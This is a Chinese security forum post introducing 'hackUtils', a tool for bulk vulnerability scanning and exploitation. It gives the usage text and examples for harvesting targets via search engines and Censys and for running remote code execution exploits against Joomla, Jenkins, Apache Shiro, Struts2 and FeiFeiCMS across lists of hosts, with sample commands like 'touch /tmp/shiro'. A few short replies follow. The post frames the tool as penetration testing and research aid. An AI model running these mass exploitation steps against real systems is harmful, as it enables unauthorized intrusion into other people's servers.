【技术讨论】一个漏洞批量验证的小工具hackUtils

一个方便大家渗透以及web安全研究的批量漏洞扫描和验证的小工具hackUtils。

项目地址：
https://github.com/brianwrf/hackUtils

Usage:

复制代码

1. hackUtils.py [options]

Options:

复制代码

1. -h, --help                                  Show basic help message and exit
2. -b keyword, --baidu=keyword                 Fetch URLs from Baidu based on specific keyword
3. -g keyword, --google=keyword                Fetch URLs from Google based on specific keyword
4. -i keyword, --censysip=keyword              Fetch IPs from Censys based on specific keyword
5. -u keyword, --censysurl=keyword             Fetch URLs from Censys based on specific keyword
6. -w keyword, --wooyun=keyword                Fetch URLs from Wooyun Corps based on specific keyword
7. -j url|file, --joomla=url|file              Exploit SQLi for Joomla 3.2 - 3.4
8. -r url|file, --rce=url|file                 Exploit Remote Code Execution for Joomla 1.5 - 3.4.5
9. -f url|file, --ffcms=url|file               Exploit Remote Code Execution for FeiFeiCMS 2.8
10. -k ip|file[::cmd], --jenkins=ip|file[::cmd] Exploit Remote Code Execution for XStream (Jenkins CVE-2016-0792)
11. -o url|file[::cmd], --shiro=url|file[::cmd] Exploit Remote Code Execution for Apache Shiro 1.2.4
12. -s url|file, --s2032=url|file               Exploit Remote Code Execution for Struts2 (S2-032)
13. -d site, --domain=site                      Scan subdomains based on specific site
14. -e string, --encrypt=string                 Encrypt string based on specific encryption algorithms (e.g. base64, md5, sha1, sha256, etc.)

Examples:

复制代码

1. hackUtils.py -b inurl:www.example.com
2. hackUtils.py -g inurl:www.example.com
3. hackUtils.py -i 1099.java-rmi
4. hackUtils.py -u 1099.java-rmi
5. hackUtils.py -w .php?id=
6. hackUtils.py -j http://www.joomla.com/
7. hackUtils.py -j urls.txt
8. hackUtils.py -r http://www.joomla.com/
9. hackUtils.py -r urls.txt
10. hackUtils.py -f http://www.feifeicms.com/
11. hackUtils.py -f urls.txt
12. hackUtils.py -k 10.10.10.10
13. hackUtils.py -k 10.10.10.10::dir
14. hackUtils.py -k ips.txt
15. hackUtils.py -k ips.txt::"touch /tmp/jenkins"
16. hackUtils.py -o http://www.shiro.com/::"touch /tmp/shiro"
17. hackUtils.py -o urls.txt::"touch /tmp/shiro"
18. hackUtils.py -s http://www.struts2.com/index.action
19. hackUtils.py -s urls.txt
20. hackUtils.py -d example.com
21. hackUtils.py -e text

飞侠来啦，

哦啦啦

前排围观楼主神器

感谢分享

哈，今天测试Apache Shiro 1.2.4这个漏洞的时候就用上的这个工具。感谢呀~

技术交流QQ群： 397745473
来自:https://xianzhi.aliyun.com/forum/read/373.html?fpage=11